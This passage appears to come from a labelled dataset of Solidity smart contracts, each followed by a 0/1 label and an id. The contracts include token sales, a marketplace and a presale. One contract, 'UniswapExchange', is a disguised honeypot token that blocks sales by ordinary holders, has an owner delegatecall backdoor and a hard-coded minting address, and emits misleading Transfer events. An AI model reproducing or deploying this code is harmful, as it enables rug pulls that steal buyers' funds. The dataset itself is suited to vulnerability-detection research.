getSecond(lastHoldingTax) * (1 seconds); } isPrivate = isPrivateToUse; addAddress(owner); } function transfer(address _to, uint256 _value) payable { chargeHoldingTax(); if (balanceOf[msg.sender] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; if (msg.sender != owner && _to != owner && txnTax != 0) { if(!owner.send(txnTax)) { throw; } } if(isPrivate && msg.sender != owner && !addressExists[_to]) { throw; } balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; addAddress(_to); Transfer(msg.sender, _to, _value); } function changeTxnTax(uint256 _newValue) { if(msg.sender != owner) throw; txnTax = _newValue; } function mint(uint256 _value) { if(canMintBurn && msg.sender == owner) { if (balanceOf[msg.sender] + _value < balanceOf[msg.sender]) throw; balanceOf[msg.sender] += _value; totalSupply += _value; Transfer(0, msg.sender, _value); } } function burn(uint256 _value) { if(canMintBurn && msg.sender == owner) { if (balanceOf[msg.sender] < _value) throw; balanceOf[msg.sender] -= _value; totalSupply -= _value; Transfer(msg.sender, 0, _value); } } function chargeHoldingTax() { if(holdingTaxInterval!=0) { uint256 dateDif = now - lastHoldingTax; bool changed = false; while(dateDif >= holdingTaxInterval * (1 weeks)) { changed=true; dateDif -= holdingTaxInterval * (1 weeks); for(uint256 i = 0;i<numberOfAddress;i++) { if(addresses[i]!=owner) { uint256 amtOfTaxToPay = ((balanceOf[addresses[i]]) * holdingTax) / (10**holdingTaxDecimals)/ (10**holdingTaxDecimals); balanceOf[addresses[i]] -= amtOfTaxToPay; balanceOf[owner] += amtOfTaxToPay; } } } if(changed) { lastHoldingTax = now; while(getHour(lastHoldingTax)!=21) { lastHoldingTax -= 1 hours; } while(getWeekday(lastHoldingTax)!=5) { lastHoldingTax -= 1 days; } lastHoldingTax -= getMinute(lastHoldingTax) * (1 minutes) + getSecond(lastHoldingTax) * (1 seconds); } } } function changeHoldingTax(uint256 _newValue) { if(msg.sender != owner) throw; holdingTax = _newValue; } function changeHoldingTaxInterval(uint256 _newValue) { if(msg.sender != owner) throw; holdingTaxInterval = _newValue; } function addAddress (address addr) private { if(!addressExists[addr]) { addressIndex[addr] = numberOfAddress; addresses[numberOfAddress++] = addr; addressExists[addr] = true; } } function addAddressManual (address addr) { if(msg.sender == owner && isPrivate) { addAddress(addr); } else { throw; } } function removeAddress (address addr) private { if(addressExists[addr]) { numberOfAddress--; addresses[addressIndex[addr]] = 0x0; addressExists[addr] = false; } } function removeAddressManual (address addr) { if(msg.sender == owner && isPrivate) { removeAddress(addr); } else { throw; } } function getWeekday(uint timestamp) returns (uint8) { return uint8((timestamp / 86400 + 4) % 7); } function getHour(uint timestamp) returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getMinute(uint timestamp) returns (uint8) { return uint8((timestamp / 60) % 60); } function getSecond(uint timestamp) returns (uint8) { return uint8(timestamp % 60); } event Transfer(address indexed _from, address indexed _to, uint256 _value); } contract tokensale { Token public token; uint256 public totalSupply; uint256 public numberOfTokens; uint256 public numberOfTokensLeft; uint256 public pricePerToken; uint256 public tokensFromPresale = 0; uint256 public tokensFromPreviousTokensale = 0; uint8 public decimals = 2; uint256 public withdrawLimit = 200000000000000000000; address public owner; string public name; string public symbol; address public finalAddress = 0x5904957d25D0c6213491882a64765967F88BCCC7; mapping (address => uint256) public balanceOf; mapping (address => bool) public addressExists; mapping (uint256 => address) public addresses; mapping (address => uint256) public addressIndex; uint256 public numberOfAddress = 0; mapping (uint256 => uint256) public dates; mapping (uint256 => uint256) public percents; uint256 public numberOfDates = 7; tokensale pts = tokensale(0xED6c0654cD61De5b1355Ae4e9d9C786005e9D5BD); function tokensale(address tokenAddress, uint256 noOfTokens, uint256 prPerToken) { dates[0] = 1505520000; dates[1] = 1506470400; dates[2] = 1507161600; dates[3] = 1507852800; dates[4] = 1508544000; dates[5] = 1508630400; dates[6] = 1508803200; percents[0] = 70000; percents[1] = 40000; percents[2] = 20000; percents[3] = 10000; percents[4] = 5000; percents[5] = 9001; percents[6] = 9001; token = Token(tokenAddress); numberOfTokens = noOfTokens * 100; totalSupply = noOfTokens * 100; numberOfTokensLeft = noOfTokens * 100; pricePerToken = prPerToken; owner = msg.sender; name = "Autonio ICO"; symbol = "NIO"; updatePresaleNumbers(); } function addAddress (address addr) private { if(!addressExists[addr]) { addressIndex[addr] = numberOfAddress; addresses[numberOfAddress++] = addr; addressExists[addr] = true; } } function endPresale() { if(msg.sender == owner) { if(now > dates[numberOfDates-1]) { finish(); } else if(numberOfTokensLeft == 0) { finish(); } else { throw; } } else { throw; } } function finish() private { if(!finalAddress.send(this.balance)) { throw; } } function withdraw(uint256 amount) { if(msg.sender == owner) { if(amount <= withdrawLimit) { withdrawLimit-=amount; if(!finalAddress.send(amount)) { throw; } } else { throw; } } else { throw; } } function updatePresaleNumbers() { if(msg.sender == owner) { uint256 prevTokensFromPreviousTokensale = tokensFromPreviousTokensale; tokensFromPreviousTokensale = pts.numberOfTokens() - pts.numberOfTokensLeft(); uint256 diff = tokensFromPreviousTokensale - prevTokensFromPreviousTokensale; numberOfTokensLeft -= diff * 2; } else { throw; } } function () payable { uint256 prevTokensFromPreviousTokensale = tokensFromPreviousTokensale; tokensFromPreviousTokensale = pts.numberOfTokens() - pts.numberOfTokensLeft(); uint256 diff = tokensFromPreviousTokensale - prevTokensFromPreviousTokensale; numberOfTokensLeft -= diff * 2; uint256 weiSent = msg.value * 100; if(weiSent==0) { throw; } uint256 weiLeftOver = 0; if(numberOfTokensLeft<=0 || now<dates[0] || now>dates[numberOfDates-1]) { throw; } uint256 percent = 9001; for(uint256 i=0;i<numberOfDates-1;i++) { if(now>=dates[i] && now<=dates[i+1] ) { percent = percents[i]; i=numberOfDates-1; } } if(percent==9001) { throw; } uint256 tokensToGive = weiSent / pricePerToken; if(tokensToGive * pricePerToken > weiSent) tokensToGive--; tokensToGive=(tokensToGive*(100000+percent))/100000; if(tokensToGive>numberOfTokensLeft) { weiLeftOver = (tokensToGive - numberOfTokensLeft) * pricePerToken; tokensToGive = numberOfTokensLeft; } numberOfTokensLeft -= tokensToGive; if(addressExists[msg.sender]) { balanceOf[msg.sender] += tokensToGive; } else { addAddress(msg.sender); balanceOf[msg.sender] = tokensToGive; } Transfer(0x0,msg.sender,tokensToGive); if(weiLeftOver>0)msg.sender.send(weiLeftOver); } event Transfer(address indexed _from, address indexed _to, uint256 _value); }
0
2,188
pragma solidity ^0.4.11; contract asssderf { event Hodl(address indexed hodler, uint indexed amount); event Party(address indexed hodler, uint indexed amount); mapping (address => uint) public hodlers; uint constant partyTime = 1546508000; function() payable { hodlers[msg.sender] += msg.value; Hodl(msg.sender, msg.value); if (msg.value == 0) { require (block.timestamp > partyTime && hodlers[msg.sender] > 0); uint value = hodlers[msg.sender]; hodlers[msg.sender] = 0; msg.sender.transfer(value); Party(msg.sender, value); } } }
1
5,128
pragma solidity ^0.4.8; contract CryptoStars { address owner; string public standard = "STRZ"; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 public initialPrice; uint256 public transferPrice; uint256 public MaxStarIndexAvailable; uint256 public MinStarIndexAvailable; uint public nextStarIndexToAssign = 0; uint public starsRemainingToAssign = 0; uint public numberOfStarsToReserve; uint public numberOfStarsReserved = 0; mapping (uint => address) public starIndexToAddress; mapping (uint => string) public starIndexToSTRZName; mapping (uint => string) public starIndexToSTRZMasterName; mapping (address => uint256) public balanceOf; struct Offer { bool isForSale; uint starIndex; address seller; uint minValue; address onlySellTo; } struct Bid { bool hasBid; uint starIndex; address bidder; uint value; } mapping (uint => Offer) public starsOfferedForSale; mapping (uint => Bid) public starBids; mapping (address => uint) public pendingWithdrawals; event Assign(address indexed to, uint256 starIndex, string GivenName, string MasterName); event Transfer(address indexed from, address indexed to, uint256 value); event StarTransfer(address indexed from, address indexed to, uint256 starIndex); event StarOffered(uint indexed starIndex, uint minValue, address indexed fromAddress, address indexed toAddress); event StarBidEntered(uint indexed starIndex, uint value, address indexed fromAddress); event StarBidWithdrawn(uint indexed starIndex, uint value, address indexed fromAddress); event StarBidAccepted(uint indexed starIndex, uint value, address indexed fromAddress); event StarBought(uint indexed starIndex, uint value, address indexed fromAddress, address indexed toAddress, string GivenName, string MasterName, uint MinStarAvailable, uint MaxStarAvailable); event StarNoLongerForSale(uint indexed starIndex); event StarMinMax(uint MinStarAvailable, uint MaxStarAvailable, uint256 Price); event NewOwner(uint indexed starIndex, address indexed toAddress); function CryptoStars() payable { owner = msg.sender; totalSupply = 119614; starsRemainingToAssign = totalSupply; numberOfStarsToReserve = 1000; name = "CRYPTOSTARS"; symbol = "STRZ"; decimals = 0; initialPrice = 99000000000000000; transferPrice = 10000000000000000; MinStarIndexAvailable = 11500; MaxStarIndexAvailable = 12000; starIndexToSTRZMasterName[0] = "Sol"; starIndexToAddress[0] = owner; Assign(owner, 0, starIndexToSTRZName[0], starIndexToSTRZMasterName[0]); starIndexToSTRZMasterName[2001] = "Odyssey"; starIndexToAddress[2001] = owner; Assign(owner, 2001, starIndexToSTRZName[2001], starIndexToSTRZMasterName[2001]); starIndexToSTRZMasterName[119006] = "Delta Velorum"; starIndexToAddress[119006] = owner; Assign(owner, 119006, starIndexToSTRZName[119006], starIndexToSTRZMasterName[119006]); starIndexToSTRZMasterName[119088] = "Gamma Camelopardalis"; starIndexToAddress[119088] = owner; Assign(owner, 119088, starIndexToSTRZName[119088], starIndexToSTRZMasterName[119088]); starIndexToSTRZMasterName[119514] = "Capella"; starIndexToAddress[119514] = owner; Assign(owner, 119514, starIndexToSTRZName[119514], starIndexToSTRZMasterName[119514]); } function reserveStarsForOwner(uint maxForThisRun) { if (msg.sender != owner) throw; if (numberOfStarsReserved >= numberOfStarsToReserve) throw; uint numberStarsReservedThisRun = 0; while (numberOfStarsReserved < numberOfStarsToReserve && numberStarsReservedThisRun < maxForThisRun) { starIndexToAddress[nextStarIndexToAssign] = msg.sender; Assign(msg.sender, nextStarIndexToAssign,starIndexToSTRZName[nextStarIndexToAssign], starIndexToSTRZMasterName[nextStarIndexToAssign]); numberStarsReservedThisRun++; nextStarIndexToAssign++; } starsRemainingToAssign -= numberStarsReservedThisRun; numberOfStarsReserved += numberStarsReservedThisRun; balanceOf[msg.sender] += numberStarsReservedThisRun; } function setGivenName(uint starIndex, string name) { if (starIndexToAddress[starIndex] != msg.sender) throw; starIndexToSTRZName[starIndex] = name; Assign(msg.sender, starIndex, starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]); } function setMasterName(uint starIndex, string name) { if (msg.sender != owner) throw; if (starIndexToAddress[starIndex] != owner) throw; starIndexToSTRZMasterName[starIndex] = name; Assign(msg.sender, starIndex, starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]); } function getMinMax(){ StarMinMax(MinStarIndexAvailable,MaxStarIndexAvailable, initialPrice); } function setMinMax(uint256 MaxStarIndexHolder, uint256 MinStarIndexHolder) { if (msg.sender != owner) throw; MaxStarIndexAvailable = MaxStarIndexHolder; MinStarIndexAvailable = MinStarIndexHolder; StarMinMax(MinStarIndexAvailable,MaxStarIndexAvailable, initialPrice); } function setStarInitialPrice(uint256 initialPriceHolder) { if (msg.sender != owner) throw; initialPrice = initialPriceHolder; StarMinMax(MinStarIndexAvailable,MaxStarIndexAvailable, initialPrice); } function setTransferPrice(uint256 transferPriceHolder){ if (msg.sender != owner) throw; transferPrice = transferPriceHolder; } function getStar(uint starIndex, string strSTRZName, string strSTRZMasterName) { if (msg.sender != owner) throw; if (starIndexToAddress[starIndex] != 0x0) throw; starIndexToSTRZName[starIndex] = strSTRZName; starIndexToSTRZMasterName[starIndex] = strSTRZMasterName; starIndexToAddress[starIndex] = msg.sender; balanceOf[msg.sender]++; Assign(msg.sender, starIndex, starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]); } function transferStar(address to, uint starIndex) payable { if (starIndexToAddress[starIndex] != msg.sender) throw; if (msg.value < transferPrice) throw; starIndexToAddress[starIndex] = to; balanceOf[msg.sender]--; balanceOf[to]++; StarTransfer(msg.sender, to, starIndex); Assign(to, starIndex, starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]); pendingWithdrawals[owner] += msg.value; Bid bid = starBids[starIndex]; if (bid.hasBid) { pendingWithdrawals[bid.bidder] += bid.value; starBids[starIndex] = Bid(false, starIndex, 0x0, 0); StarBidWithdrawn(starIndex, bid.value, to); } Offer offer = starsOfferedForSale[starIndex]; if (offer.isForSale) { starsOfferedForSale[starIndex] = Offer(false, starIndex, msg.sender, 0, 0x0); } } function starNoLongerForSale(uint starIndex) { if (starIndexToAddress[starIndex] != msg.sender) throw; starsOfferedForSale[starIndex] = Offer(false, starIndex, msg.sender, 0, 0x0); StarNoLongerForSale(starIndex); Bid bid = starBids[starIndex]; if (bid.bidder == msg.sender ) { pendingWithdrawals[msg.sender] += bid.value; starBids[starIndex] = Bid(false, starIndex, 0x0, 0); StarBidWithdrawn(starIndex, bid.value, msg.sender); } } function offerStarForSale(uint starIndex, uint minSalePriceInWei) { if (starIndexToAddress[starIndex] != msg.sender) throw; starsOfferedForSale[starIndex] = Offer(true, starIndex, msg.sender, minSalePriceInWei, 0x0); StarOffered(starIndex, minSalePriceInWei, msg.sender, 0x0); } function offerStarForSaleToAddress(uint starIndex, uint minSalePriceInWei, address toAddress) { if (starIndexToAddress[starIndex] != msg.sender) throw; starsOfferedForSale[starIndex] = Offer(true, starIndex, msg.sender, minSalePriceInWei, toAddress); StarOffered(starIndex, minSalePriceInWei, msg.sender, toAddress); } function buyStar(uint starIndex) payable { Offer offer = starsOfferedForSale[starIndex]; if (!offer.isForSale) throw; if (offer.onlySellTo != 0x0 && offer.onlySellTo != msg.sender) throw; if (msg.value < offer.minValue) throw; if (offer.seller != starIndexToAddress[starIndex]) throw; address seller = offer.seller; balanceOf[seller]--; balanceOf[msg.sender]++; Assign(msg.sender, starIndex,starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]); uint amountseller = msg.value*97/100; uint amountowner = msg.value*3/100; pendingWithdrawals[owner] += amountowner; pendingWithdrawals[seller] += amountseller; starIndexToAddress[starIndex] = msg.sender; starNoLongerForSale(starIndex); string STRZName = starIndexToSTRZName[starIndex]; string STRZMasterName = starIndexToSTRZMasterName[starIndex]; StarBought(starIndex, msg.value, offer.seller, msg.sender, STRZName, STRZMasterName, MinStarIndexAvailable, MaxStarIndexAvailable); Bid bid = starBids[starIndex]; if (bid.bidder == msg.sender) { pendingWithdrawals[msg.sender] += bid.value; starBids[starIndex] = Bid(false, starIndex, 0x0, 0); StarBidWithdrawn(starIndex, bid.value, msg.sender); } } function buyStarInitial(uint starIndex, string strSTRZName) payable { if (starIndex > MaxStarIndexAvailable) throw; if (starIndex < MinStarIndexAvailable) throw; if (starIndexToAddress[starIndex] != 0x0) throw; if (msg.value < initialPrice) throw; starIndexToAddress[starIndex] = msg.sender; starIndexToSTRZName[starIndex] = strSTRZName; balanceOf[msg.sender]++; pendingWithdrawals[owner] += msg.value; string STRZMasterName = starIndexToSTRZMasterName[starIndex]; StarBought(starIndex, msg.value, owner, msg.sender, strSTRZName, STRZMasterName ,MinStarIndexAvailable, MaxStarIndexAvailable); Assign(msg.sender, starIndex, starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]); } function enterBidForStar(uint starIndex) payable { if (starIndex >= totalSupply) throw; if (starIndexToAddress[starIndex] == 0x0) throw; if (starIndexToAddress[starIndex] == msg.sender) throw; if (msg.value == 0) throw; Bid existing = starBids[starIndex]; if (msg.value <= existing.value) throw; if (existing.value > 0) { pendingWithdrawals[existing.bidder] += existing.value; } starBids[starIndex] = Bid(true, starIndex, msg.sender, msg.value); StarBidEntered(starIndex, msg.value, msg.sender); } function acceptBidForStar(uint starIndex, uint minPrice) { if (starIndex >= totalSupply) throw; if (starIndexToAddress[starIndex] != msg.sender) throw; address seller = msg.sender; Bid bid = starBids[starIndex]; if (bid.value == 0) throw; if (bid.value < minPrice) throw; starIndexToAddress[starIndex] = bid.bidder; balanceOf[seller]--; balanceOf[bid.bidder]++; Transfer(seller, bid.bidder, 1); starsOfferedForSale[starIndex] = Offer(false, starIndex, bid.bidder, 0, 0x0); uint amount = bid.value; uint amountseller = amount*97/100; uint amountowner = amount*3/100; pendingWithdrawals[seller] += amountseller; pendingWithdrawals[owner] += amountowner; string STRZGivenName = starIndexToSTRZName[starIndex]; string STRZMasterName = starIndexToSTRZMasterName[starIndex]; StarBought(starIndex, bid.value, seller, bid.bidder, STRZGivenName, STRZMasterName, MinStarIndexAvailable, MaxStarIndexAvailable); StarBidWithdrawn(starIndex, bid.value, bid.bidder); Assign(bid.bidder, starIndex, starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]); StarNoLongerForSale(starIndex); starBids[starIndex] = Bid(false, starIndex, 0x0, 0); } function withdrawBidForStar(uint starIndex) { if (starIndex >= totalSupply) throw; if (starIndexToAddress[starIndex] == 0x0) throw; if (starIndexToAddress[starIndex] == msg.sender) throw; Bid bid = starBids[starIndex]; if (bid.bidder != msg.sender) throw; StarBidWithdrawn(starIndex, bid.value, msg.sender); uint amount = bid.value; starBids[starIndex] = Bid(false, starIndex, 0x0, 0); pendingWithdrawals[msg.sender] += amount; } function withdraw() { uint amount = pendingWithdrawals[msg.sender]; pendingWithdrawals[msg.sender] = 0; msg.sender.send(amount); } function withdrawPartial(uint withdrawAmount) { if (msg.sender != owner) throw; if (withdrawAmount > pendingWithdrawals[msg.sender]) throw; pendingWithdrawals[msg.sender] -= withdrawAmount; msg.sender.send(withdrawAmount); } }
0
2,443
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
362
pragma solidity ^0.4.16; interface TrimpoToken { function presaleAddr() constant returns (address); function transferPresale(address _to, uint _value) public; } contract Admins { address public admin1; address public admin2; address public admin3; function Admins(address a1, address a2, address a3) public { admin1 = a1; admin2 = a2; admin3 = a3; } modifier onlyAdmins { require(msg.sender == admin1 || msg.sender == admin2 || msg.sender == admin3); _; } function setAdmin(address _adminAddress) onlyAdmins public { require(_adminAddress != admin1); require(_adminAddress != admin2); require(_adminAddress != admin3); if (admin1 == msg.sender) { admin1 = _adminAddress; } else if (admin2 == msg.sender) { admin2 = _adminAddress; } else if (admin3 == msg.sender) { admin3 = _adminAddress; } } } contract Presale is Admins { uint public duration; uint public period; uint public periodAmount; uint public hardCap; uint public raised; address public benefit; uint public start; TrimpoToken token; address public tokenAddress; uint public tokensPerEther; mapping (address => uint) public balanceOf; mapping (uint => uint) public periodBonuses; struct amountBonusStruct { uint value; uint bonus; } mapping (uint => amountBonusStruct) public amountBonuses; modifier goodDate { require(start > 0); require(start <= now); require((start+duration) > now); _; } modifier belowHardCap { require(raised < hardCap); _; } event Investing(address investor, uint investedFunds, uint tokensWithoutBonus, uint periodBounus, uint amountBonus, uint tokens); event Raise(address to, uint funds); function Presale( address _tokenAddress, address a1, address a2, address a3 ) Admins(a1, a2, a3) public { hardCap = 5000 ether; period = 7 days; periodAmount = 4; periodBonuses[0] = 20; periodBonuses[1] = 15; periodBonuses[2] = 10; periodBonuses[3] = 5; duration = periodAmount * (period); amountBonuses[0].value = 125 ether; amountBonuses[0].bonus = 5; amountBonuses[1].value = 250 ether; amountBonuses[1].bonus = 10; amountBonuses[2].value = 375 ether; amountBonuses[2].bonus = 15; amountBonuses[3].value = 500 ether; amountBonuses[3].bonus = 20; tokensPerEther = 400; tokenAddress = _tokenAddress; token = TrimpoToken(_tokenAddress); start = 1526342400; } function getPeriodBounus() public returns (uint bonus) { if (start == 0) {return 0;} else if (start + period > now) { return periodBonuses[0]; } else if (start + period * 2 > now) { return periodBonuses[1]; } else if (start + period * 3 > now) { return periodBonuses[2]; } else if (start + period * 4 > now) { return periodBonuses[3]; } return 0; } function getAmountBounus(uint value) public returns (uint bonus) { if (value >= amountBonuses[3].value) { return amountBonuses[3].bonus; } else if (value >= amountBonuses[2].value) { return amountBonuses[2].bonus; } else if (value >= amountBonuses[1].value) { return amountBonuses[1].bonus; } else if (value >= amountBonuses[0].value) { return amountBonuses[0].bonus; } return 0; } function() payable public goodDate belowHardCap { uint tokenAmountWithoutBonus = msg.value * tokensPerEther; uint periodBonus = getPeriodBounus(); uint amountBonus = getAmountBounus(msg.value); uint tokenAmount = tokenAmountWithoutBonus + (tokenAmountWithoutBonus * (periodBonus + amountBonus)/100); token.transferPresale(msg.sender, tokenAmount); raised+=msg.value; balanceOf[msg.sender]+= msg.value; Investing(msg.sender, msg.value, tokenAmountWithoutBonus, periodBonus, amountBonus, tokenAmount); } function setBenefit(address _benefit) public onlyAdmins { benefit = _benefit; } function getFunds(uint amount) public onlyAdmins { require(benefit != 0x0); require(amount <= this.balance); Raise(benefit, amount); benefit.send(amount); } }
0
2,349
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication 